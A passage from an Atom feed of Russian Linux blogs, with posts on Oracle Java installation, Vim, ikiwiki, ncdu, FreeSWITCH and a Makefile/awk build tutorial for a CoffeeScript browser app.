    <link href="http://digital-activity.org/2012/01/25/%d1%83%d1%81%d1%82%d0%b0%d0%bd%d0%be%d0%b2%d0%ba%d0%b0-oracle-java-se-%d0%b2-debianubuntu/" rel="alternate" type="text/html" />
    <title>Установка Oracle Java SE в Debian/Ubuntu</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Не так давно Oracle объявила об отзыве лицензии, согласно которой дистрибьютеры ранее могли самостоятельно пакетировать бинарные сборки Oracle Java и распространять их со своим продуктом (например так делали все ведущие дистрибутивы, включая Debian и Ubuntu). Ну они-то отозвали, а пользоваться … <a href="http://digital-activity.org/2012/01/25/%d1%83%d1%81%d1%82%d0%b0%d0%bd%d0%be%d0%b2%d0%ba%d0%b0-oracle-java-se-%d0%b2-debianubuntu/">Continue reading <span class="meta-nav">→</span></a><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/3tVJWkgiPyQ" height="1" width="1" /></div></summary>
    <updated>2012-01-25T09:31:09Z</updated>
    <category term="Computing" />
    <category term="debian" />
    <category term="DJL" />
    <category term="java" />
    <category term="oracle java" />
    <category term="ubuntu" />
    <category term="ubuntu server" />
    <author>
      <name>Андрей Мавлянов</name>
    </author>
    <source>
      <id>http://digital-activity.org</id>
      <link href="http://digital-activity.org/category/computing/feed/" rel="self" type="application/atom+xml" />
      <link href="http://digital-activity.org" rel="alternate" type="text/html" />
      <subtitle>2:5030/1159</subtitle>
      <title>Digital Activity » Computing</title>
      <updated>2012-01-29T23:01:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-774380008944876213.post-5198734940354188012</id>
    <link href="http://www.allaboutvim.ru/feeds/5198734940354188012/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=774380008944876213&amp;postID=5198734940354188012" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/774380008944876213/posts/default/5198734940354188012" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/774380008944876213/posts/default/5198734940354188012" rel="self" type="application/atom+xml" />
    <link href="http://www.allaboutvim.ru/2012/01/blog-post.html" rel="alternate" type="text/html" />
    <title>Настраиваем строку статуса</title>
    <summary type="html">В Виме есть два элемента интерфейса, выполняющие похожие функции. Это линейка (ruler) и строка статуса (statusline). Линейка по умолчанию включена и показывает информацию о текущей строке и номере колонки в правом нижнем углу экрана.






Выводом информации о текущей строке возможности линейки не ограничиваются и форматом вывода можно управлять через опцию rulerformat. Как только мы начинаем&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/oBVFSdFcIKo" height="1" width="1"/&gt;</summary>
    <updated>2012-01-24T20:32:00Z</updated>
    <published>2012-01-24T20:32:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="полезности" />
    <author>
      <name>Pento</name>
      <email>noreply@blogger.com</email>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-774380008944876213</id>
      <category term="colorcsheme" />
      <category term="emacs" />
      <category term="видео" />
      <category term="jabber" />
      <category term="Esc" />
      <category term="vmap" />
      <category term="nmap" />
      <category term="книга" />
      <category term="night" />
      <category term="map" />
      <category term="полезности" />
      <category term="book" />
      <category term="vimrc" />
      <category term="reStructuredText" />
      <category term="holywar" />
      <category term="day" />
      <category term="mingw" />
      <category term="N810" />
      <category term="python" />
      <category term="imap" />
      <category term="7.3" />
      <category term="windows" />
      <category term="WTF" />
      <category term="vim" />
      <category term="release" />
      <category term="события" />
      <category term="релизы" />
      <category term="svn" />
      <category term="Maemo" />
      <category term="screencast" />
      <author>
        <name>Pento</name>
        <email>noreply@blogger.com</email>
      </author>
      <link href="http://www.allaboutvim.ru/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/774380008944876213/posts/default" rel="self" type="application/atom+xml" />
      <link href="http://www.allaboutvim.ru/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/774380008944876213/posts/default?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>Блог посвящён текстовому редактору Vim</subtitle>
      <title>Всё о Vim</title>
      <updated>2012-02-05T08:44:10Z</updated>
    </source>
  </entry>

  <entry>
    <id>urn:lj:livejournal.com:atom1:vitus_wagner:702773</id>
    <link href="http://vitus-wagner.livejournal.com/702773.html" rel="alternate" type="text/html" />
    <link href="http://vitus-wagner.livejournal.com/data/atom/?itemid=702773" rel="self" type="text/xml" />
    <title>Столлман про facebook и цензуру в интернете</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><a href="http://www.deccanchronicle.com/channels/sci-tech/others/richard-stallman-facebook-surveillance-system-007" rel="nofollow">In a free society, one should be prepared to get offended. Otherwise it’s tyranny</a>.<br /><br />Фраза просто чеканная. Молодец, RMS.<br /><br /><span style="font-size: smaller;">This entry was originally posted at <a href="http://vitus-wagner.dreamwidth.org/699629.html" rel="nofollow">http://vitus-wagner.dreamwidth.org/699629.html</a>. Please comment there using OpenID. Now there are <a href="http://vitus-wagner.dreamwidth.org/699629.html" rel="nofollow"><img alt="comment count unavailable" height="12" src="http://www.dreamwidth.org/tools/commentcount?user=vitus_wagner&amp;ditemid=699629" style="vertical-align: middle;" width="30" /> comments</a> </span><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/Y--PNFepBJc" height="1" width="1" /></div></content>
    <updated>2012-01-23T17:08:43Z</updated>
    <published>2012-01-23T17:08:43Z</published>
    <category term="политика" />
    <category term="open source" />
    <category term="privacy" />
    <source>
      <id>urn:lj:livejournal.com:atom1:vitus_wagner</id>
      <author>
        <name>Виктор "Витус" Вагнер</name>
        <email>vitus@wagner.pp.ru</email>
      </author>
      <link href="http://vitus-wagner.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://vitus-wagner.livejournal.com/data/atom" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Виктор "Витус" Вагнер</subtitle>
      <title>Журнал Витуса.</title>
      <updated>2012-01-23T17:08:43Z</updated>
    </source>
  </entry>

  <entry>
    <id>urn:lj:livejournal.com:atom1:vitus_wagner:701493</id>
    <link href="http://vitus-wagner.livejournal.com/701493.html" rel="alternate" type="text/html" />
    <link href="http://vitus-wagner.livejournal.com/data/atom/?itemid=701493" rel="self" type="text/xml" />
    <title>И еще про вики</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Комментаторы в предыдущем посте таки сподвигли меня продолжить рассмотрение дистрибутива.<br /><br />B и нарыл я там <a href="http://ikiwiki.info/" rel="nofollow">ikiwiki.</a>. Насколько я понимаю, это примерно тот зверь, которого я хотел создать под названием <a href="http://vitus-wagner.dreamwidth.org/tag/stilllife" rel="nofollow">stilllife</a>, но так и не доделал. <br /><br />То есть это движок, который по окончании операции редактирования/комментирования генерирует статическую HTML-ку.<br />И поддерживает еще тут же копирование ее rsync-ом куда надо.<br /><br />И openid аутентификация выглядит у почти ровно так, как мне бы хотелось. <br /><br />И поддерживают они еще и блог, помимо wiki. Так что поразбираюсь, может быть реализую наконец давнюю мечту и пошлю далеко-далеко американские блогсайты с ихними жесткими ToS.<br /><br /><b>Upd</b> На сайте имеет место 22-килобайтная страница <a href="http://ikiwiki.info/security/" rel="nofollow">Security</a> в которой помимо всего прочего написано "Note that ikiwiki runs with perl taint checks on". И при каждом исправленном security баге указывается не только версия самого ikiwiki где оно пофиксено, но и версии пакета из Debian stable, куда фикс бэкпортирован.<br /><br /><span style="font-size: smaller;">This entry was originally posted at <a href="http://vitus-wagner.dreamwidth.org/698244.html" rel="nofollow">http://vitus-wagner.dreamwidth.org/698244.html</a>. Please comment there using OpenID. Now there are <a href="http://vitus-wagner.dreamwidth.org/698244.html" rel="nofollow"><img alt="comment count unavailable" height="12" src="http://www.dreamwidth.org/tools/commentcount?user=vitus_wagner&amp;ditemid=698244" style="vertical-align: middle;" width="30" /> comments</a> </span><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/XS2O0DSFYm8" height="1" width="1" /></div></content>
    <updated>2012-01-20T10:37:15Z</updated>
    <published>2012-01-20T10:37:15Z</published>
    <category term="debian" />
    <category term="blog" />
    <category term="open source" />
    <source>
      <id>urn:lj:livejournal.com:atom1:vitus_wagner</id>
      <author>
        <name>Виктор "Витус" Вагнер</name>
        <email>vitus@wagner.pp.ru</email>
      </author>
      <link href="http://vitus-wagner.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://vitus-wagner.livejournal.com/data/atom" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Виктор "Витус" Вагнер</subtitle>
      <title>Журнал Витуса.</title>
      <updated>2012-01-23T17:08:43Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://vanoc.ru/?p=1280</id>
    <link href="http://vanoc.ru/linux/ncdu-statistika-ispolzovaniya-diska/" rel="alternate" type="text/html" />
    <title>ncdu статистика использования диска</title>
    <summary>Консольный аналог статистики использования диска kdusader-a и т.п. Простая и удобная утилита. IMHO придется по вкусу тем, кому недостаточно дефолтного du. Понравилось возможность выводить информацию по определенным разделам. sudo ncdu -x / Утилита умеет удалять, пересчитывать, сортировать и прочее. Полная информация в man и shift+? в программе.</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Консольный аналог статистики использования диска kdusader-a и т.п. Простая и удобная утилита. IMHO придется по вкусу тем, кому недостаточно дефолтного du.<br />
Понравилось возможность выводить информацию по определенным разделам.<br />
<code>sudo ncdu -x /</code><br />
<img alt="" class="aligncenter size-full wp-image-1281" height="383" src="http://vanoc.ru/wp-content/uploads/2012/01/ncdu.png" title="ncdu" width="500" /><br />
Утилита умеет удалять, пересчитывать, сортировать и прочее. Полная информация в man и shift+? в программе.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/RQDXt-8lqL4" height="1" width="1" /></div></content>
    <updated>2012-01-18T21:33:08Z</updated>
    <category term="linux" />
    <category term="runix" />
    <category term="ncdu" />
    <author>
      <name>vanoc</name>
    </author>
    <source>
      <id>http://vanoc.ru</id>
      <link href="http://vanoc.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/helicopternetruubuntu" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>блогосайт. заметки.</subtitle>
      <title>vanoc.ru » runix</title>
      <updated>2012-01-26T08:02:00Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-6888322710677399759.post-2487112698797418327</id>
    <link href="http://deepwalker.blogspot.com/feeds/2487112698797418327/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=6888322710677399759&amp;postID=2487112698797418327" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default/2487112698797418327?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default/2487112698797418327?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/Deepwalker/~3/jxlZ_SCSt1w/samarapy.html" rel="alternate" type="text/html" />
    <title>SamaraPy</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><div dir="ltr" style="text-align: left;">
Зависть великая штука. Побывав на PyConUA я заразился чудной атмосферой живого общения с едино и разномышленниками. Я не уверен, что получится в Самаре найти достаточное число участников для SamaraPy, который более будет похож поначалу на KievPy, но я попробую.<br />
<br />
Подробности будут тут <a href="http://vk.com/club34256705">http://vk.com/club34256705</a><br />
<br />
В конце концов оказался же в этом городе Я!</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6888322710677399759-2487112698797418327?l=deepwalker.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/Deepwalker/~4/jxlZ_SCSt1w" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/6FTs1aTzpEs" height="1" width="1" /></div></content>
    <updated>2012-01-18T14:13:00Z</updated>
    <published>2012-01-18T14:13:00Z</published><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://deepwalker.blogspot.com/2012/01/samarapy.html</feedburner:origLink>
    <author>
      <name>Михаил Кривушин</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/100921657259536473882</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-6888322710677399759</id>
      <category term="linux" />
      <category term="фигня" />
      <category term="мысли" />
      <category term="twisted" />
      <category term="cifs" />
      <category term="heimdal" />
      <category term="программа" />
      <category term="отрывки" />
      <category term="идея" />
      <category term="voip" />
      <category term="Инфраструктура Kerberos" />
      <category term="plasma" />
      <category term="vnc" />
      <category term="fs2web" />
      <category term="kde" />
      <category term="greenlet" />
      <category term="mod_opal" />
      <category term="sipx" />
      <category term="ldap" />
      <category term="addpac" />
      <category term="scfl" />
      <category term="py-configurator" />
      <category term="python" />
      <category term="книги" />
      <category term="upstart" />
      <category term="h323" />
      <category term="samba" />
      <category term="vim" />
      <category term="nfs" />
      <category term="Путешествие группы формант по голосовому тракту" />
      <category term="kerberos" />
      <category term="g729" />
      <category term="freeswitch" />
      <author>
        <name>Михаил Кривушин</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/100921657259536473882</uri>
      </author>
      <link href="http://deepwalker.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://deepwalker.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/Deepwalker" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Deepwalker</title>
      <updated>2012-01-22T14:48:42Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-6888322710677399759.post-5078795104222496237</id>
    <link href="http://deepwalker.blogspot.com/feeds/5078795104222496237/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=6888322710677399759&amp;postID=5078795104222496237" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default/5078795104222496237?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default/5078795104222496237?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/Deepwalker/~3/6Aqv0VkaERc/freeswitch-love-over.html" rel="alternate" type="text/html" />
    <title>FreeSWITCh, love over</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Я больше не занимаюсь FreeSWITCH по нескольким причинам. Первая - я теперь не сетевой администратор с горкой АТС, и не работаю в VoIP стартапе.</p>
<p>Вторая - считаю разработчиков FreeSWITCH-а неадекватными по нескольким пунктам.</p>

<p>1. Прием патчей. Когда у нас глюкало видео я искал проблему и нашел ее. Создал патч и отправил в жиру. После месяца боданий патч был принят с формулировкой "а предыдущий пацанчик говорил что все работает отлично, но вы достали, хрен с вами". Многообщающе.</p>

<p>2. Использование DMCA для блокировки репозитория с кодом g729 кодека. Нормальные люди вначале пишут и говорят - у вас тут мои копирайты, вы поправьте. В общем мне их мотивировка неясна - их права никак не были нарушены, но шило в попе творит чудеса.</p>

<p>В общем как для профессионального разработчика для меня FreeSWITCH это один сплошной дурдом. Без причин с ним возиться я с ним возиться никакого желания не имею.</p><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6888322710677399759-5078795104222496237?l=deepwalker.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/Deepwalker/~4/6Aqv0VkaERc" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/e_xS_sotfk0" height="1" width="1" /></div></content>
    <updated>2012-01-18T14:08:00Z</updated>
    <published>2012-01-18T14:08:00Z</published><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://deepwalker.blogspot.com/2012/01/freeswitch-love-over.html</feedburner:origLink>
    <author>
      <name>Михаил Кривушин</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/100921657259536473882</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-6888322710677399759</id>
      <category term="linux" />
      <category term="фигня" />
      <category term="мысли" />
      <category term="twisted" />
      <category term="cifs" />
      <category term="heimdal" />
      <category term="программа" />
      <category term="отрывки" />
      <category term="идея" />
      <category term="voip" />
      <category term="Инфраструктура Kerberos" />
      <category term="plasma" />
      <category term="vnc" />
      <category term="fs2web" />
      <category term="kde" />
      <category term="greenlet" />
      <category term="mod_opal" />
      <category term="sipx" />
      <category term="ldap" />
      <category term="addpac" />
      <category term="scfl" />
      <category term="py-configurator" />
      <category term="python" />
      <category term="книги" />
      <category term="upstart" />
      <category term="h323" />
      <category term="samba" />
      <category term="vim" />
      <category term="nfs" />
      <category term="Путешествие группы формант по голосовому тракту" />
      <category term="kerberos" />
      <category term="g729" />
      <category term="freeswitch" />
      <author>
        <name>Михаил Кривушин</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/100921657259536473882</uri>
      </author>
      <link href="http://deepwalker.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://deepwalker.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/6888322710677399759/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/Deepwalker" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Deepwalker</title>
      <updated>2012-01-22T14:48:42Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://aceler.livejournal.com/1084015.html</id>
    <link href="http://aceler.livejournal.com/1084015.html" rel="alternate" type="text/html" />
    <title>Прогресс в глазах</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Имея возможность из-под Ubuntu 11.04 запускать терминальное подключение к Ubuntu 11.10 очень сильно заметна разница в отрисовке шрифтов — она заметно лучше в новой версии. </p>
<i>Запись опубликована <a href="http://www.aceler.ru" rel="nofollow">Aceler online</a>. Вы можете оставить комментарии <a href="http://www.aceler.ru/blog/6413" rel="nofollow">там</a>, их уже <img border="0" src="http://www.aceler.ru/wp-lj-comments.php?post_id=6413" />.</i><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/tbhItdYuAog" height="1" width="1" /></div></summary>
    <updated>2012-01-13T18:31:05Z</updated>
    <category term="linux" />
    <category term="ubuntu" />
    <source>
      <id>http://aceler.livejournal.com/</id>
      <logo>http://l-userpic.livejournal.com/81629137/1065780</logo>
      <link href="http://aceler.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://aceler.livejournal.com/data/rss?tag=linux" rel="self" type="application/atom+xml" />
      <subtitle>Aceler online - LiveJournal.com</subtitle>
      <title>Aceler online</title>
      <updated>2012-02-02T16:31:13Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://feeds.feedburner.com/blog/2012/01/13/showkr/</id>
    <link href="http://solovyov.net/blog/2012/01/13/showkr/" rel="alternate" type="text/html" />
    <title>Showkr - приложение в браузере</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Я за последние пару-тройку недель по вечерам и выходным понемногу сделал дикий,
но симпатичный (и, может, полезный) сайт <a class="reference external" href="http://showkr.org/">Showkr</a>. И решил рассказать миру о
том, зачем и как я это сделал - я думаю, что вторая часть может пригодиться,
учитывая растущую популярность приложений в браузере.</p>
<div class="section" id="id2">
<h2>Зачем</h2>
<p>У фликра довольно тяжелые страницы, и когда смотришь целый сет фотографий -
утомительно ждать, пока каждая следующая загрузится и отрисуется (я вот только
что попробовал, от нажатия кнопки до рендера где-то до секунды проходит на
быстром интернете).</p>
<p>А тут, получается, <a class="reference external" href="http://showkr.org/#72157625002065401">открыл</a>, дождался ответа апи фликра, и сиди себе
просматривай, оно всë на одной странице. Тем более, что созданы все удобства -
фотки, комментарии и хоткеи: поддерживается всë, что имеет хоть какой-то смысл -
<tt class="docutils literal">j</tt>/<tt class="docutils literal">k</tt>, <tt class="docutils literal">up</tt>/<tt class="docutils literal">down</tt>, <tt class="docutils literal">space</tt>/<tt class="docutils literal">shift+space</tt>. Welcome!</p>
</div>
<div class="section" id="id4">
<h2>Как</h2>
<p>Первый момент, который мне сохранил кучу времени - это <a class="reference external" href="http://twitter.github.com/bootstrap/">Twitter
Bootstrap</a>. Тут мне рассказывать особенно нечего, если вы его не знаете -
теперь будете знать. Хороший CSS framework, экономит тучу времени.</p>
</div>
<div class="section" id="make">
<h2>Make</h2>
<p>Второй момент - <tt class="docutils literal">GNU Make</tt>. Я никогда толком не умел писать мейкфайлы - был
испуган в детстве результатами запусков autoconf/automake. Но какое-то время
назад я начал юзать мейкфайлы, как рубисты юзают рейк - для каких-то мелких
задачек. Чисто как организатор шелл-команд, короче.</p>
<p>Но какое-то время назад я понял, что пришла пора. CoffeeScript хочет стать
джаваскриптом, темплейты хотят стать джаваскриптом, индекс.хтмл хочет быть
разным для разработки и работающего сайта, и все они не хотят это делать, когда
не нужно.</p>
<p>И вырос прекрасный и довольно понятный мейкфайл. И сейчас я процитирую основные
моменты, чтоб не только я, но и другие такие же необразованные (кто не знает
классики - необразован, правда?) могли проникнуться полезностью.</p>
<div class="section" id="id5">
<h3>Основы</h3>
<p>Итак, у меня есть директория с кофескриптовыми файлами, я хочу их превратить в
джаваскрипт (включать кофескрипт на клиент-сайд - моветон имхо, зачем нам лишние
тормоза). Начнëм с того, что у нас есть эти самые файлы:</p>
<div class="highlight"><pre><span class="nv">SOURCE</span> <span class="o">=</span> <span class="k">$(</span>wildcard app/*.coffee<span class="k">)</span>
</pre></div>
<p>И правило, чтоб их скомпилить:</p>
<div class="highlight"><pre><span class="nf">build/%.js</span><span class="o">:</span> <span class="m">app/%.coffee</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    coffee -pc <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>
</pre></div>
<p>Всë это выглядит немного стрëмно, но я сейчас объясню, а с внешним видом можно
жить - это на самом деле довольно неплохой DSL, хотя можно и поприятнее сделать
было бы. В мейкфайле есть:</p>
<ul class="simple">
<li>переменные</li>
<li>функции</li>
<li>правила</li>
</ul>
<p>Всë остальное пока не волнует. У нас здесь есть переменная <tt class="docutils literal">SOURCE</tt>, которой
присваивается результат исполнения функции <tt class="docutils literal">wildcard</tt>. И переменные, и функции
раскрываются с помощью оборачивания в конструкцию <tt class="docutils literal"><span class="pre">$(...)</span></tt> (исключая
однобуквенные переменные, тогда просто <tt class="docutils literal">$x</tt>). Функции, конечно, еще параметров
хотят.</p>
<p>Что-то с двоеточием и строками с отступами - это правило. Говорит нам, что файл,
который заканчивается на <tt class="docutils literal">.js</tt> и находится в директории <tt class="docutils literal">build/</tt>, зависит от
файла с точно таким же именем, только в директории <tt class="docutils literal">app/</tt> и с расширением
<tt class="docutils literal">.coffee</tt>.</p>
<p>В правиле есть две инструкции. Эти инструкции - это вызов обычных
команд, причëм каждая инструкция запускается в своëм инстансе шелла (переменные
не сохраняются). Каждая инструкция во время выполнения выводится на экран как
команда, или, если она начинается с <tt class="docutils literal">@</tt> (как наш мкдир) - не выводится.</p>
<p>Еще мейк внутри правила даëт какое-то количество <a class="reference external" href="http://www.gnu.org/software/make/manual/make.html#Automatic-Variables">переменных</a> с видом разной
степени стрëмности. <tt class="docutils literal">$@</tt> - файл-цель (который мы хотим получить), <tt class="docutils literal">$&lt;</tt> - его
первая (здесь - и единственная) зависимость. <tt class="docutils literal"><span class="pre">$(@D)</span></tt> - родительская директория
файла-зависимости. Я забил на слежение за тем, чтоб директории были созданы
заранее, и просто создаю их в каждом правиле, которое пишет в файлы, первой
строкой. Паттерн "хватит беспокоиться". ;)</p>
<p>И теперь мажорный аккорд, правило, которое заставит это работать:</p>
<div class="highlight"><pre><span class="nf">all</span><span class="o">:</span> <span class="m">$(patsubst app/%.coffee</span><span class="p">,</span><span class="m"> build/%.js</span><span class="p">,</span><span class="m"> $(SOURCE))</span>
</pre></div>
<p>Это правило идëт первым, чтоб запуск просто <tt class="docutils literal">make</tt> запускал его, и говорит
нам, что правило <tt class="docutils literal">all</tt> зависит от таких-то файлов (а правило для постройки
этих файлов мы определили выше по тексту). От каких файлов - от всего в
<tt class="docutils literal">$(SOURCE)</tt>, только надо заменить <tt class="docutils literal">app</tt> на <tt class="docutils literal">build</tt>, а <tt class="docutils literal">coffee</tt> на
<tt class="docutils literal">js</tt> - ну, понятно, компиляция зависит от того, чтоб в директории билд были
все нужные джаваскриптовые файлы. А каждый файл зависит уже (определили раньше)
от кофескриптового.</p>
<p>Теперь запуск <tt class="docutils literal">make</tt> в директории скомпилирует каждый файл в
джаваскриптовый. Кроме того, если еще раз запустить <tt class="docutils literal">make</tt>, то он запустит
обработку только тех файлов, которые изменились - он смотрит на время изменения
файла и не делает лишних движений.</p>
<p>Казалось бы, зачем это надо, если <tt class="docutils literal">coffee <span class="pre">-bco</span> build/ app/</tt> сделает то же
самое. Ну, во-первых, то же самое он не сделает - он не следит за временем
изменения, а компилирует всë (и всего может случайно стать много), а во-вторых,
не кофескриптом единым! Но не будем забегать вперëд.</p>
</div>
<div class="section" id="id7">
<h3>Зачистка</h3>
<p>Итак, у нас есть первая инкарнация мейк-файла:</p>
<div class="highlight"><pre><span class="nv">SOURCE</span> <span class="o">=</span> <span class="k">$(</span>wildcard app/*.coffee<span class="k">)</span>

all: <span class="k">$(</span>patsubst app/%.coffee, build/%.js, <span class="k">$(</span>SOURCE<span class="k">))</span>

build/%.js: app/%.coffee
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    coffee -pc <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>
</pre></div>
<p>Что тут неплохо бы подчистить? Ну, нам не нужен список исходных файлов. Только
результатов, поэтому заменим начало на такое:</p>
<div class="highlight"><pre><span class="nv">SOURCE</span> <span class="o">=</span> <span class="k">$(</span>patsubst app/%.coffee, build/%.js, <span class="k">$(</span>wildcard app/*.coffee<span class="k">))</span>

all: <span class="k">$(</span>SOURCE<span class="k">)</span>
</pre></div>
</div>
<div class="section" id="eee">
<h3>Ещëëë</h3>
<p>Теперь проще понять, чего хочет главное правило - оно хочет исходники! Ок,
понятно. Чего еще нам надо? Нам надо вот это всë динамически сгенерированное
запихать в <tt class="docutils literal">index.html</tt>.</p>
<p>Маленькое отступление: фактически в showkr'e у меня не используется
<a class="reference external" href="http://requirejs.org/">require.js</a>, потому что мне лень скрещивать <a class="reference external" href="http://ender.no.de/">ender</a> с ним, а потому загрузка
модулей синхронна и все файлы хотят быть загружены прямо из индекса. В ином
случае этого бы момента не было и индекс был бы статическим, но, мне кажется,
это хороший повод порисовать еще правил. Итак.</p>
<p>Для начала наше главное правило захочет еще <tt class="docutils literal">index.html</tt>:</p>
<div class="highlight"><pre><span class="nf">all</span><span class="o">:</span> <span class="m">$(SOURCE) build/index.html</span>
</pre></div>
<p>Что делать с индексом? Я решил не ломать себе мозги, а взять <tt class="docutils literal">awk</tt> (еще одна
штука, про которую стоит знать) и... В общем, индекс выглядит как-то так:</p>
<div class="highlight"><pre>...
<span class="nt">&lt;head&gt;</span>
...
<span class="c">&lt;!-- js-deps --&gt;</span>
<span class="nt">&lt;/head&gt;</span>
...
</pre></div>
<p>И у меня есть прекрасный скрипт на <tt class="docutils literal">awk</tt>, который берëт переменную <tt class="docutils literal">DEPS</tt> из
окружения (со списком зависимостей) и влепляет в хтмл:</p>
<div class="highlight"><pre>/&lt;!-- js-deps --&gt;/ {
    split(ENVIRON["DEPS"], DEPS)
    # this way it goes from 1 to 9 instead of random ordering
    for (i = 1; DEPS[i]; i++)
        printf("&lt;script type=\"text/javascript\" src=\"%s\"&gt;&lt;/script&gt;\n", DEPS[i])
    next
}

1 # print everything else
</pre></div>
<p>Я мог бы расписывать, как работает авк, но давайте вы лучше почитаете <a class="reference external" href="http://www.grymoire.com/Unix/Awk.html">на
английском</a>, <a class="reference external" href="http://www.lissyara.su/doc/programming/awk/">на русском</a>, или вообще <a class="reference external" href="http://www.google.com.ua/search?q=awk+basics">что-нибудь еще</a>.</p>
<p>Правило при этом для постройки индекса выглядит так:</p>
<div class="highlight"><pre><span class="nf">build/index.html</span><span class="o">:</span> <span class="m">index.html $(SOURCE)</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    <span class="nv">DEPS</span><span class="o">=</span><span class="s2">"$(SOURCE:build/%=%)"</span> awk -f build.awk <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>
</pre></div>
